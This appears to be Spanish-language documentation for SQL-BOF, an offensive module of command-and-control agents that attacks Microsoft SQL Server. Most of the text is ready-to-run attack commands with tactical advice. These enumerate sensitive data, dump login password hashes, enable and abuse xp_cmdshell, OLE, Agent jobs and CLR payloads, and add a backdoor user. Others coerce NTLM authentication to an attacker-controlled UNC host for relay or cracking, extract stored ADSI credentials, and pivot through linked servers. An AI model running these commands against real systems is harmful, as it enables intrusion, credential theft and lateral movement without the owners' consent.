SQL-BOF
El módulo SQL-BOF proporciona un conjunto completo de BOFs para interactuar con servidores Microsoft SQL Server durante una evaluación de seguridad autorizada. Todos los comandos se ejecutan bajo el prefijo mssql y están disponibles en agentes Beacon, Gopher y Kharon en Windows.
Flags Comunes
Todos los comandos de mssql aceptan los siguientes flags opcionales:
| Flag | Descripción |
|---|---|
-d database | Base de datos a utilizar |
-l linkedserver | Ejecutar a través de un servidor vinculado (linked server) |
-i impersonate | Usuario a suplantar durante la ejecución |
-u user | Usuario SQL (autenticación SQL en lugar de Windows) |
-p password | Contraseña SQL |
Por defecto se usa autenticación integrada de Windows. Usa -u y -p solo cuando necesites autenticación SQL explícita.
Reconocimiento
mssql info
Obtiene información general del servidor SQL: versión, configuración, cuenta de servicio.
mssql info 192.168.10.10
mssql info 192.168.10.10 -u sa -p Password123Cuándo usarlo: Primer paso al descubrir un servidor SQL. Identifica la versión (para buscar CVEs conocidos) y la cuenta de servicio (si es NT AUTHORITY\SYSTEM, la ejecución de comandos será con máximos privilegios).
mssql whoami
Muestra el usuario actual, el usuario mapeado y los roles asignados en el servidor SQL.
mssql whoami db-server01
mssql whoami db-server01 -l LINKED_DBCuándo usarlo: Después de conectarte, para entender tu contexto de privilegios. Si tienes el rol sysadmin, puedes hacer prácticamente todo.
mssql 1434udp
Consulta el puerto UDP 1434 del SQL Server Browser para descubrir instancias SQL en el host.
mssql 1434udp 192.168.10.10Cuándo usarlo: Cuando un host tiene múltiples instancias SQL y necesitas identificar los nombres de instancia y puertos.
mssql databases
Enumera todas las bases de datos disponibles en el servidor.
mssql databases db-server01
mssql databases db-server01 -i samssql tables
Lista las tablas dentro de una base de datos.
mssql tables db-server01
mssql tables db-server01 -d HRDatabasemssql columns
Enumera las columnas de una tabla específica.
mssql columns db-server01 Users
mssql columns db-server01 Employees -d HRDatabasemssql rows
Obtiene el conteo de filas en una tabla.
mssql rows db-server01 Users
mssql rows db-server01 Credentials -d SecretDBmssql search
Busca nombres de columnas que coincidan con una palabra clave. Útil para encontrar datos sensibles.
mssql search db-server01 password
mssql search db-server01 credit -d CustomerDBCuándo usarlo: Para localizar rápidamente tablas con datos sensibles como contraseñas, tarjetas de crédito, tokens, etc.
mssql query
Ejecuta una consulta SQL personalizada.
mssql query db-server01 "SELECT TOP 10 * FROM Users"
mssql query db-server01 "SELECT name,password_hash FROM sys.sql_logins" -i saCuándo usarlo: Cuando los comandos predefinidos no cubren tu necesidad. Permite extraer datos específicos o ejecutar procedimientos almacenados.
mssql users
Enumera usuarios con acceso a la base de datos.
mssql users db-server01
mssql users db-server01 -d mastermssql impersonate
Descubre qué usuarios pueden ser suplantados desde tu contexto actual.
mssql impersonate db-server01Cuándo usarlo: Si no tienes sysadmin, busca usuarios que puedas suplantar con -i. Si encuentras un usuario sa suplantable, obtienes control total.
mssql links
Enumera servidores vinculados (linked servers) configurados.
mssql links db-server01
mssql links db-server01 -l OTRO_LINKEDCuándo usarlo: Los linked servers son una vía de movimiento lateral. Un servidor vinculado puede tener credenciales configuradas que te otorguen acceso a otros servidores con diferentes privilegios.
mssql checkrpc
Verifica el estado de RPC en servidores vinculados.
mssql checkrpc db-server01Cuándo usarlo: Antes de ejecutar comandos a través de linked servers. RPC debe estar habilitado para que xp_cmdshell funcione a través del enlace.
mssql agentstatus
Enumera el estado del SQL Server Agent y sus trabajos configurados.
mssql agentstatus db-server01Cuándo usarlo: Para verificar si el SQL Agent está activo (necesario para agentcmd) y descubrir trabajos programados existentes que podrían revelar información sobre el entorno.
Ejecución de Comandos
mssql xpcmd
Ejecuta un comando del sistema operativo a través de xp_cmdshell. Requiere que xp_cmdshell esté habilitado (ver enablexp).
mssql xpcmd db-server01 "whoami /all"
mssql xpcmd db-server01 "dir C:\Users" -i sa
mssql xpcmd db-server01 "net user" -l LINKED_SERVERCuándo usarlo: Método más directo de ejecución de comandos en SQL Server. Requiere privilegios sysadmin. Si xp_cmdshell está deshabilitado, habilítalo primero con enablexp.
mssql olecmd
Ejecuta un comando del sistema usando OLE Automation Procedures (sp_OACreate).
mssql olecmd db-server01 "whoami"
mssql olecmd db-server01 "powershell -enc BASE64..." -i saCuándo usarlo: Alternativa a xp_cmdshell cuando este está monitoreado o bloqueado. OLE Automation es menos común en reglas de detección. No devuelve output del comando.
mssql agentcmd
Ejecuta un comando del sistema mediante un trabajo del SQL Server Agent.
mssql agentcmd db-server01 "whoami"
mssql agentcmd db-server01 "net user hacker P@ss123 /add"Cuándo usarlo: Tercera vía de ejecución de comandos. El SQL Agent ejecuta los comandos como un trabajo programado. Útil cuando xp_cmdshell y OLE están bloqueados. Requiere que el SQL Agent esté activo.
mssql clr
Carga y ejecuta un ensamblado .NET como procedimiento almacenado CLR.
mssql clr db-server01 /tmp/payload.dll MyFunction -h SHA512_HASH_AQUI
mssql clr db-server01 /tmp/SharpTool.dll Run -h ABC123... -i saParámetros:
server— Servidor SQL destinodll_path— Ruta local al archivo DLL .NETfunction— Nombre de la función de entrada-h hash— Hash SHA-512 del DLL (obligatorio)
Cuándo usarlo: Para ejecutar herramientas .NET completas (como SharpHound, Rubeus, etc.) directamente en el contexto del servidor SQL. Requiere CLR habilitado (ver enableclr). Es el método más poderoso pero también el más detectable.
Configuración de Módulos
Estos comandos habilitan o deshabilitan funcionalidades del servidor SQL necesarias para otros ataques.
xp_cmdshell
mssql enablexp db-server01 # Habilitar
mssql disablexp db-server01 # Deshabilitar
mssql enablexp db-server01 -i sa # Habilitar suplantando saCuándo usarlo: Habilita antes de usar xpcmd. Recuerda deshabilitar después de la operación para reducir el impacto.
CLR Integration
mssql enableclr db-server01 # Habilitar
mssql disableclr db-server01 # DeshabilitarCuándo usarlo: Necesario antes de usar clr para ejecutar ensamblados .NET.
OLE Automation Procedures
mssql enableole db-server01 # Habilitar
mssql disableole db-server01 # DeshabilitarCuándo usarlo: Necesario antes de usar olecmd.
RPC en Linked Servers
mssql enablerpc db-server01 LINKED_SRV # Habilitar
mssql disablerpc db-server01 LINKED_SRV # DeshabilitarCuándo usarlo: Habilita RPC en un linked server para poder ejecutar xp_cmdshell a través del enlace con -l.
Ataques de Credenciales
mssql smb
Fuerza al servidor SQL a realizar una autenticación NTLM contra una ruta UNC controlada por el atacante, usando xp_dirtree.
mssql smb db-server01 "\\10.10.14.5\share"
mssql smb db-server01 "\\ATTACKER\test" -i saCuándo usarlo: Para capturar el hash NetNTLM de la cuenta de servicio SQL con herramientas como Responder o ntlmrelayx. Si la cuenta de servicio es una cuenta de dominio, el hash puede ser crackeado o retransmitido (relay) a otros servicios.
mssql adsi
Extrae credenciales almacenadas en un servidor ADSI vinculado.
mssql adsi db-server01 ADSI_LINKED_SRV
mssql adsi db-server01 ADSI_LINKED_SRV -p 389Cuándo usarlo: Cuando hay un linked server de tipo ADSI configurado. Las credenciales almacenadas en la configuración del enlace ADSI se pueden extraer en texto claro.
Flujo de Ataque Típico
Un ataque completo contra SQL Server generalmente sigue este flujo:
# 1. Reconocimiento inicial
mssql info 192.168.10.10
mssql whoami 192.168.10.10
# 2. Verificar privilegios y opciones de escalación
mssql impersonate 192.168.10.10
# 3. Descubrir linked servers (movimiento lateral)
mssql links 192.168.10.10
# 4. Habilitar xp_cmdshell (requiere sysadmin)
mssql enablexp 192.168.10.10
# 5. Ejecutar comandos
mssql xpcmd 192.168.10.10 "whoami /all"
mssql xpcmd 192.168.10.10 "powershell -enc ..."
# 6. Limpiar: deshabilitar lo que habilitaste
mssql disablexp 192.168.10.10Ejecución a través de Linked Servers
Todos los comandos pueden encadenarse a través de linked servers usando el flag -l:
# Ejecutar en el linked server
mssql xpcmd db-server01 -l LINKED_DB "whoami"
# Enumerar linked servers del linked server (doble salto)
mssql links db-server01 -l LINKED_DBSuplantación de Usuarios
Si encuentras un usuario suplantable con impersonate, usa -i para elevar privilegios:
mssql impersonate db-server01 # Encontrar usuarios suplantables
mssql enablexp db-server01 -i sa # Habilitar xp_cmdshell como sa
mssql xpcmd db-server01 -i sa "whoami"